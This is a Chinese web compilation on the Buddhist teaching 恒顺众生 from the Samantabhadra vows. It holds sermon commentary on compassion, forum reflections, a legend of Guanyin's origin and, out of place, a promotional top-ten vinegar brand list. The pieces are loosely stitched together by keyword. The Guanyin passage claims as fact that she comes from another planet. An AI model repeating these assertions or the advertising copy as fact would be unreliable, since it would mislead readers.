一般人要做到同体大悲比较难，同体小悲，每一个人都有。一般人对自己的子女、亲朋好友、恋人、自己宠爱的动物产生慈悲，似乎不是一件难以办到的事。相反的，要你面对你的冤家仇敌，你最痛恨的人，还有那些十分讨厌的众生，像老鼠、蟑螂之类的动物时，你对待他们，是否能像对待自己的父母和自己的小宝宝一样呢？甚至把他们的命运跟自己联系在一起，把他们视为同自己一体，对他们产生同体大悲的心，能做到吗？这恐怕比较难。但是对于一个学佛行菩萨道的人来说，就是要学习普贤菩萨这种同体大悲的精神！　　我曾经看到一位居士，她的儿子要做手术时，她说：老天爷啊！为什么要把这个痛苦、不幸的灾难降临在儿子的身上啊？如果儿子不用做手术，病就能够好的话，那么我宁愿替儿子去受这份苦！如果他的病马上就能够好，我情愿死去，也不感到后悔。这是什么精神呢？这就是同体大悲的精神！但遗憾的是，这种同体大悲的心，只是对自己的独生子女。如果学佛的人，大家都怀有这位母亲对儿子那种同体大悲的心愿，去对一个村庄的人，然后把这种同体大悲的心愿，扩展到一县、一省、一个国家，乃至整个世界和宇宙，才谈得上大悲。　　我们不仅要对我们喜欢的人产生慈悲，而且要对世界上所有的一切众生产生慈悲。不仅对有情生命产生慈悲，而且对无情生命，一花、一草、一木也要产生慈悲心。修学菩萨道，众生为什么在修证中占有这么重要的地位呢？佛陀因为有了这样深切广大的大悲心，由大悲心生起菩提心，由菩提心的增长和圆满，才证得了佛陀的果位。我们要想成佛，就不能离开众生，离开众生就免谈成佛！因为佛之所以能够成佛，就是建立在度生的基础之上，离开了众生就等于离开了佛。　　"譬如旷野沙碛之中，有大树王；若根得水，枝叶华果，悉皆繁茂"。旷野，是空旷荒野，没有人住的地方。碛，是小石块。大树王，是指那种特别大的树，是各类树里边最大的树，所以称为王。繁茂，泥土的树根扎得很深，枝、叶、华、果长得茂旺，根深叶茂的意思。这是用譬喻的方法来说的。在空旷荒郊野外的地方，有一片树林，其中有一棵树特别大，遇上干旱天时，在没有水的情况下，这棵树会枯萎，树叶纷纷飘落，到最后剩下树干，这棵树就成了光杆司令；如果雨水充沛，它的枝、叶、花、果，就会生长得特别茂盛。　　"生死旷野，菩提树王，亦复如是。一切众生而为树根，诸佛、菩萨而为华果。以大悲水饶益众生，则能成就诸佛菩萨智慧华果"。众生就像树根，诸佛菩萨就像花果。没有树根，树就会死去，哪来的花与果呢？如果花果离开了树根，就不可能长出花果来。所以佛与众生的命运是紧紧相连的，佛不能离开众生。要成佛，必须用大悲水，也就是用大悲心，去教化众生，普度众生，使众生得到佛法的利益，用佛的大悲心去为众生做利益他们的事，才能成就佛的智慧。　　"何以故？若诸菩萨，以大悲水，饶益众生，则能成就阿耨多罗三藐三菩提故"。阿耨多罗三藐三菩提，是梵语，翻译成中文，它的意思就是无上正等正觉。这段话含有总结的味道，佛果的成就，是建立在大悲心的基础上，诸佛以大悲心去利益众生，才能够成就无上菩提，最后成佛，功德圆满！　　"是故菩提，属于众生；若无众生，一切菩萨终不能成无上正觉"。这段经文对成佛下了个结论，菩提属于众生，菩萨不能离开众生。就像莲花不能离开污泥，离开污泥就不能长出莲花，清水里是长不出莲花的。同样道理，离开众生要想成佛，是不可能的。所以菩提属于众生，如果没有众生的话，一切菩萨都不能成就无上正觉。　　"善男子！汝于此义，应如是解。以于众生心平等故，则能成就圆满大悲；以大悲心随众生故，则能成就供养如来"。普贤菩萨讲到这里，向法会的听众，叫一声道：善男子啊！你们听了上边所讲的种种学佛的意义，应该明白透彻行菩萨的意义了，应该照我上面所讲的种种修行的方法去修行。对待一切众生，要一视同仁，平等对待，没有人我高下之分，能够常常随顺众生，使大悲心渐渐增长至圆满完善。能够用大悲心去随顺众生，就是供养诸佛，因为随顺众生，就是对诸佛最好的随顺。如果能用大悲心去利乐有情，就是对如来最好的供养。"菩萨如是随顺众生，虚空界尽，众生界尽，众生业尽，众生烦恼尽，我此随顺无有穷尽；念念相续，无有间断；身语意业，无有疲厌"。菩萨对众生的随顺，不是一朝一夕，而是永远、永远，天长地久有尽时，随顺众生无绝期。

醋品牌排行榜前十名如下：1.第一名恒顺，恒顺，源自佛家《华严经》：恒顺众生；意为：永远顺随众生之善性所需。1840年，丹徒人朱兆怀秉承“恒顺众生”经营理念创立“朱恒顺糟坊”，由此开启“百年恒顺”发展征程。第二名东湖。首创“熏蒸法”、“夏伏晒、冬捞冰”陈酿工艺，增酯添色加香，吸纳天地之灵气，一改过去山西醋尖酸寡淡为“绵、酸、香、甜、鲜”特色风味，完善了“蒸、酵、熏、淋、陈”五步酿醋工艺，创立山西老陈醋并名列中国四大名醋之首。第三名SHUITA水塔。公司在科学发展观的统领下，始终“以质量求信誉，以信誉求发展”为企业宗旨，以“科技创新，质量诚信”为经营理念，坚持走自主创新与联合创新的新型工业化道路，取得飞速发展。第四名紫林。以“醋都尚品紫林厚道”为品牌传播语言，携手影视巨星徐帆女士为紫林品牌形象代言，在激烈的市场环境中，实现了超常规、跨越式的发展。紫林公司在全国调味品领域确立了全面领先地位，成功地跻身于国内食品生产厂商的前列。第五名益源庆。益源庆是具有深厚文化底蕴的百年老字号企业。六百多年来益源庆秉承健康理念、凭借高品质的产品和诚信的经营态度，从一个二十多人的小作坊发展成为具有一定实力的股份有限公司。第六名海天。海天得名于“海天酱园”。海天，中国最大的专业调味品生产企业，溯源于清乾隆年间的佛山酱园，至今已有300年的历史，其工艺讲究、口感醇厚的酿造方法领先同侪。第七名保宁醋。保宁醋始于公元936年，是中国四大名醋中唯一的药醋，四川麸醋的鼻祖。保宁醋以纯粮为料，名贵中药为曲，“松华”井水为体，采用麸醋经典工艺和现代科技，经42道工序精酿而成。她汇酿醋技师之匠心。第八名天立。天津市天立独流老醋股份有限公司，坐落在津郊古镇——独流，是中华老字号企业。经过20多年的努力，先后投资5000万元进行了九次工程扩建和技术改造，在保留传统风味的基础上，实施了现代生物发酵技术，成功实现了现代科技生产与民族老品牌的对接。第九名Shinho欣和。烟台欣和味达美食品有限公司开发区工厂成立于2002年3月，是欣和企业酿造酱油主要生产基地之一，位于烟台经济技术开发区。工厂主要生产“欣和”品牌、“味达美”品牌等有机酱油、补铁酱油、味极鲜酱油、出口酱油、工业酱油、蚝油等系列产品。第十名千禾。始于1996年，国内知名酱油品牌，中国调味品协会副会长单位，专业酿造高品质健康酱油、食醋的股份制企业千禾味业食品股份有限公司创建于1996年，位于东坡故里四川眉山，是西部专业酿造高品质健康酱油、食醋的股份制企业。

恒顺一词源自佛家《华严经》所载“恒顺众生”，意为“永远顺随众生之善性所需”。1840年，丹徒人朱兆怀秉承“恒顺众生”经营理念创立“朱恒顺糟坊”，由此开启“百年恒顺”发展征程。作为中国4大名醋之一，在引领中国醋业发展的基础上，目前“百年恒顺”已形成色醋、白醋、料酒、酱类、酱油、麻油、酱菜等7大品类系列产品，广销64个国家并供应我国驻外160多个使（领）馆。恒顺产品先后5获国际金奖、3次蝉联国家质量金奖，是欧盟地理标志产品、中国名牌产品。

严格的说，观音菩萨不是地球人，依据佛经记载，她属于另外一个星球（佛教称之为“西方极乐世界”），只有分身在地球显化过，据南宋释祖琇撰《隆兴佛教编年通论》卷第十三，即《汝州香山大悲菩萨传》中记录，其为西域劫国（现今位于西北昌吉自治州）国王妙庄王三女儿妙善公主。因此，妙善公主因为舍一手一目救助父亲妙庄王，因此成佛，显现千手千眼，因此人们就以妙善公主的生日“农历二月十九”作为观世音菩萨诞生日；农历六月十九，观世音菩萨成道日；农历九月十九，观世音菩萨出家日。

师兄 法安~众生本有如来种---真如佛性，与众生虚妄五阴身心和合运作，后学举例来说:譬如师兄正在打字时，你的真如佛心很清楚的知道你的心所思所想，而且还配合你从无间断，可是他从来不领受一切境界，你知道打字，他不知道打字，你知道打字的内涵，他不知道打字的内涵，可是没有他，你也不能打字；可是他却不会打字。因此，纵然众生正在杀生时，真如佛心依旧配合众生，恒顺众生，他从来没有意见，他才是最慈悲的，无缘大慈、同体大悲，你行菩萨道，增长智慧断除烦恼，他不会因此开心快乐喜悦，你若是造作恶业，他还是没意见，不会生气，不会愤怒，从来不分别取舍，一直恒顺著你。这就是真如佛心的真如性，真实不动，如如随缘。而且不仅如此，你造作的一切，全部由他收藏，他对於造作善恶、污染、清净种子的收藏，可是超级伶俐，可是却不分别，完全如实收藏。他本来就离四相，他从来不反观自我存在，不知道自我存在，只是随众生心而生万法，所以无我相；他无形无色无相，不论昆虫畜牲、地狱饿鬼、天人阿修罗，都是等同一相----真实平等相，因此无人相，也无众生相；他本来无生，未来也不灭坏，所以无时间寿命可说，因此无寿者相。如果楼主你能够在四威仪---行住坐卧中，亲见这个不可见的真如法相，能够证知自身本有的如来佛心，而一切众生也都本来具足此心，那你就真的知道，什麼是恒顺众生了，什麼才是真的了众生心了。而当你亲证以后，也无妨自己的五阴身心分别思维观察，以语言文字为人演说此第一义无相无言语无形无色无声之法。

《普贤行愿品》里有讲恒顺众生。 恒顺众生绝对不是让众生造业 那不是恒顺众生 是坑爹 把众生坑地狱去了 。所以佛弟子得好好读普贤行愿。节选一段： 如是等类。我皆于彼。随顺而转。种种承事。种种供养。 如敬父母。如奉师长。及阿罗汉。乃至如来。等无有异。 于诸病苦。为作良医。于失道者。示其正路。 于闇夜中。为作光明。于贫穷者。令得伏藏。 菩萨如是平等饶益一切众生。 何以故。若菩萨能随顺众生。则为随顺供养诸佛。

恒顺众生的原则　　恒顺众生，恒就是永恒、永远不停止的意思。恒顺众生，就是在任何时候，都要顺从众生，顺从他们的意思。当然，顺从众生有一定的原则，主要是指顺从众生的善性，而不是顺从其恶性。对众生真正有利益的事，我们才顺从；不利的事就不能顺从。譬如有人说，我要去杀一个人，对方力气比我大，我一人杀不了他，我需要一个帮手才能杀他，你跟我一起去，你是菩萨嘛，应该顺从我。你要不要随顺他呢？不能随顺他。对！又如，有人想不开，要寻死上吊，需要一根绳子。他说：你是菩萨，就行行好吧！布施一根绳子给我。那你就不能顺从他。所以，随顺众生，还是要讲原则，不能是非不辨，善恶不分。　　随顺众生，就是根据众生的需求，无条件地给他们利益和快乐。记得台湾佛光山上有四个信条：给人信心、给人欢喜、给人方便、给人服务。这四条，就是随顺众生的具体体现。假如我们每一个人，心里常常怀着这样的念头，随时准备为众生服务，不带任何的私心杂念，那这人就是菩萨了。一个人具有菩萨的心愿和菩萨行为，这个人便是菩萨！

顺是随顺度化，悲悯柔和之义。发起恒顺众生之愿，非菩萨人不能克成，最起码亦得证成无生法忍，方得恒顺众生，不致有退堕之念。众生是愚痴的，是刚强难调难伏的，是随顺五欲六尘的，是邪见不智的，是好辩的，是逞强的，是保护自己观念的，是我执与法执的，若非菩萨得证无生法忍，无法做得到，菩萨今生度不了众生，还有来生，甚至还有尽未来际可得度之，因为菩萨没有隔阴之迷，内心无惑，了知众生与他之关系，如是可耗下无尽的未来，以达到恒顺众生，并度化之功。众生未开悟，心地烦恼丛生，自利自度尚不能，焉能利他度他!今日不知明日事，尚存三惑之结，尽未来皆是生死业，若要恒顺众生而行化，这是梦人说梦话，水里月一般的空言，不得实际。众生仅能依佛菩萨三业而学之，由因至果，由渐而顿，由浅而深，由近而远，菩萨可恒顺众生，众生亦可恒顺众生，只是恒顺众生人人皆可行，但境界却有深浅，因果不同，近远有别，持续有长短，渐顿有异。